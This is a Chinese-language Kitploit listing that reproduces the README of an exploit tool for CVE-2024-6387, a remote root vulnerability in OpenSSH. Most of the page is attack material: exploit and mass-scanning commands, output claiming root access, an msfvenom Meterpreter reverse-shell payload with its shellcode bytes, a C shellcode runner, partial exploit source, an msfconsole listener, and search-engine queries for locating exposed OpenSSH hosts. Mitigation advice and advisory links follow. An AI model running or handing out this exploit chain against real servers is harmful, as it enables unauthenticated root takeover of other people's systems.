Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-6387 — PoC - OpenSSH服务器中的远程未认证代码执行漏洞(扫描器和利用工具) | Kitploit
工具/GitHubGitHub/l0n3m4n/cve-2024-6387
侦察漏洞分析漏洞利用Shellcode网络安全渗透测试红队远程访问工具Payload 开发
GitHubl0n3m4n/cve-2024-6387

CVE-2024-6387

PoC - OpenSSH服务器中的远程未认证代码执行漏洞(扫描器和利用工具)

查看仓库
1133982年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

openssh CVE-2024-6387 - PoC

📜 描述

注意:此脚本为快速原型PoC,可能会出现一些错误和问题。 已在以下系统测试:Kali Linux、ParrotSec、Ubuntu 22.04

OpenSSH 服务器中的远程未授权代码执行漏洞

OpenSSH 服务器(sshd)中发现一个信号处理程序竞态条件:当客户端在 LoginGraceTime 秒(默认120秒,旧版 OpenSSH 中为600秒)内未完成认证时,sshd 的 SIGALRM 处理程序会被异步调用。然而,该信号处理程序调用了多个非异步信号安全的函数,例如 syslog()。

📁 目录

  • 📖 详细信息
  • ⚙️ 用法
  • 🔍 主机发现
  • 🛠️ 缓解措施
  • 💁 参考
  • 📌 作者
  • 📢 免责声明

✍🏻 详细信息

技术详情可查阅 此处。

该漏洞由 Qualys 的研究人员于 2024年5月 发现,编号为 CVE-2024-6387,源于 sshd 中的信号处理程序竞态条件,允许未认证的远程攻击者以 root 权限执行任意代码。

"如果客户端未在 LoginGraceTime 秒(默认120秒)内完成认证,sshd 的 SIGALRM 处理程序会被异步调用,并调用多个非异步信号安全的函数。"

"远程未认证攻击者可利用此漏洞以 root 权限执行任意代码。"

⚙️ 用法

扫描 OpenSSH 服务器

要求:python3 最新版本

root@kitploit:~
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --port 22

 ██████╗ ██████╗ ███████╗███╗   ██╗███████╗███████╗██╗  ██╗
██╔═══██╗██╔══██╗██╔════╝████╗  ██║██╔════╝██╔════╝██║  ██║
██║   ██║██████╔╝█████╗  ██╔██╗ ██║███████╗███████╗███████║
██║   ██║██╔═══╝ ██╔══╝  ██║╚██╗██║╚════██║╚════██║██╔══██║
╚██████╔╝██║     ███████╗██║ ╚████║███████║███████║██║  ██║
 ╚═════╝ ╚═╝     ╚══════╝╚═╝  ╚═══╝╚══════╝╚══════╝╚═╝  ╚═╝
   作者: l0n3m4n / 扫描器: @xaitax / PoC: @7etsuo 
    
正在利用漏洞...
尝试使用 glibc 基址: 0xb7200000 进行利用
第 0 次尝试,共 20000 次
收到 SSH 版本: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
收到 KEX_INIT (1024 字节)
send_packet: 资源暂时不可用
send_packet: 资源暂时不可用
send_packet: 资源暂时不可用
send_packet: 资源暂时不可用
.....
利用成功..!

~# whoami && id
root
uid=0(root) gid=0(root) groups=0(root) 

导出结果 (csv、txt、json)

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -o json -f result.json

多目标扫描

root@kitploit:~
$ python3 CVE-2024-6387.py -s targets.txt -p 22 -o json -f result.json

设置超时时间

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -t 10 -o json -f result.json

网络段扫描

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101/24 -p 22 -t 5 -o json -f result.json

自定义端口

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 2244 -t 5 -o json -f result.json

提权过程

获取反向 Shell

root@kitploit:~
# 生成 shellcode
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] 未选择平台,根据payload自动选择 Msf::Module::Platform::Linux
[-] 未选择架构,根据payload自动选择架构: x64
未指定编码器,输出原始payload
Payload size: 130 bytes
Final size of c file: 574 bytes

unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

自定义 payload

root@kitploit:~
#include <stdio.h>

// 自定义 payload 占位符
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

int main() {
    // 执行 shellcode
    printf("正在执行 shellcode...\n");
    void (*sc)() = (void(*)())shellcode;
    sc();

    return 0;
}

实际 payload

root@kitploit:~
#include <stdio.h>
 

#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)

// 可能的 glibc 基地址 (用于 ASLR 绕过)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);

// Shellcode 占位符(替换为实际 shellcode)
unsigned char shellcode[] = "\x90\x90\x90\x90";

编译并启动 payload

root@kitploit:~
# 编译 payload
$ gcc -shared -o exploit.so -fPIC 7etsuo-regreSSHion.c 

执行 payload

root@kitploit:~
# 一旦收到利用成功的消息,msfconsole 会自动启动 Meterpreter 会话。
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --p 22 

接收 payload

root@kitploit:~
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.100; set LPORT 9999; exploit -j"

🔍 主机发现

  • Hunter: /product.name="OpenSSH"
  • FOFA: app="OpenSSH"
  • SHODAN: product:"OpenSSH"
  • CENSYS: (openssh) and labels=remote-access

🛠️ 缓解措施

  • 补丁管理:及时应用 OpenSSH 的可用补丁对于缩小漏洞窗口至关重要。及时打补丁可确保已知漏洞无法被用于攻击您的系统,从而减少攻击者的可利用时间。

  • 增强访问控制:通过基于网络的控件限制 SSH 访问,增加了额外防御层。该方法通过将 SSH 连接限制为仅授权网络或 IP 地址,最大限度地减少潜在攻击者的暴露面。实施防火墙规则或使用 VPN 进行安全访问等措施可有效执行这些限制。

  • 网络分段:将网络划分为多个段有助于控制潜在入侵的影响。通过将关键系统和敏感数据与网络中不太关键的部分隔离,可降低攻击者横向移动的风险。可结合严格的访问控制和监控来检测并响应任何未经授权试图跨越这些段的行为。

  • 入侵检测系统 (IDS):部署 IDS 或入侵防御系统 (IPS) 能够实时监控网络流量和系统日志。这些系统可检测与 regreSSHion 漏洞相关的可疑活动和潜在利用尝试。触发的警报允许及时调查和缓解,防止重大损害发生。

  • 监控利用尝试:持续监控网络和系统日志至关重要。查找任何可能表明试图利用 OpenSSH 漏洞的异常模式或活动。这种主动方法有助于在威胁造成损害之前识别并响应。

💁 参考

  • 原作者:CVE-2024-6387 扫描器
  • 原作者:CVE-2024-6387 PoC

更多参考

  • http://www.openwall.com/lists/oss-security/2024/07/01/12
  • https://access.redhat.com/security/cve/CVE-2024-6387
  • https://bugzilla.redhat.com/show_bug.cgi?id=2294604
  • https://www.qualys.com/2024/07/01/cve-2024-6387/regresshion.txt
  • https://github.com/zgzhang/cve-2024-6387-poc
  • https://ubuntu.com/security/CVE-2024-6387
  • https://ubuntu.com/security/notices/USN-6859-1
  • https://www.suse.com/security/cve/CVE-2024-6387.html
  • https://explore.alas.aws.amazon.com/CVE-2024-6387.html
  • https://archlinux.org/news/the-sshd-service-needs-to-be-restarted-after-upgrading-to-openssh-98p1/
  • https://www.openssh.com/txt/release-9.8
  • https://lists.mindrot.org/pipermail/openssh-unix-announce/2024-July/000158.html
  • https://lists.mindrot.org/pipermail/openssh-unix-dev/2024-July/041431.html
  • https://blog.qualys.com/vulnerabilities-threat-research/2024/07/01/regresshion-remote-unauthenticated-code-execution-vulnerability-in-openssh-server
  • https://www.theregister.com/2024/07/01/regresshion_openssh/
  • https://news.ycombinator.com/item?id=40843778

📌 作者

  • Facebook
  • Twitter (X)
  • Medium
  • 网站

📢 免责声明

  • 重要提示:
    • 此工具仅用于授权的渗透测试和红队演练。其设计目的是识别并利用基于 glibc 的 Linux 系统上 OpenSSH 服务器中的漏洞。未经授权使用此工具是严格禁止的。本工具所有者对任何未经授权的访问或恶意使用不承担责任。
  • 法律声明:
    • 未经系统或网络所有者明确授权,擅自使用此工具可能违反相关法律法规。用户有责任确保符合网络安全测试和评估的法律与道德标准。
下载工具
  • https://security-tracker.debian.org/tracker/CVE-2024-6387
  • https://github.com/oracle/oracle-linux/issues/149
  • https://github.com/rapier1/hpn-ssh/issues/87
  • https://stackdiary.com/openssh-race-condition-in-sshd-allows-remote-code-execution/
  • https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2024-0010
  • http://www.openwall.com/lists/oss-security/2024/07/01/13
  • https://security.netapp.com/advisory/ntap-20240701-0001/